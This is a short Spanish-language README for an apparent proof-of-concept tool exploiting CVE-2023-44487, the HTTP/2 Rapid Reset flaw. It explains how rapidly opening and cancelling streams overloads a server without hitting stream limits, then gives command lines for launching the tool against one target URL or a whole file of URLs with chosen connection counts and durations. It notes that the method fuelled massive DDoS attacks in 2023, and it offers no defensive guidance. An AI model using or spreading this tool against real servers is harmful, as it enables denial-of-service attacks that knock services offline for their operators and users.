cve-2023-44487 - ataque de reinicio rápido http/2

por 7pirqte

qué es esto

poc para el ataque de reinicio rápido http/2. básicamente abres un stream con un frame HEADERS y luego envías inmediatamente RST_STREAM para cancelarlo. el servidor hace todo el trabajo de configurar y desmontar streams mientras tú solo spammea solicitudes. los streams cancelados no cuentan para el límite máximo de streams, así que básicamente puedes enviar reinicios ilimitados.

esto se usó en algunos ataques ddos masivos en 2023

instalación

pip install -r requirements.txt

uso

# objetivo único
python main.py -u https://target.com

# desde archivo
python main.py -f urls.txt

# 10 conexiones durante 30 segundos
python main.py -u https://target.com -c 10 -d 30

opciones

• -u - url objetivo
• -f - archivo con urls (una por línea)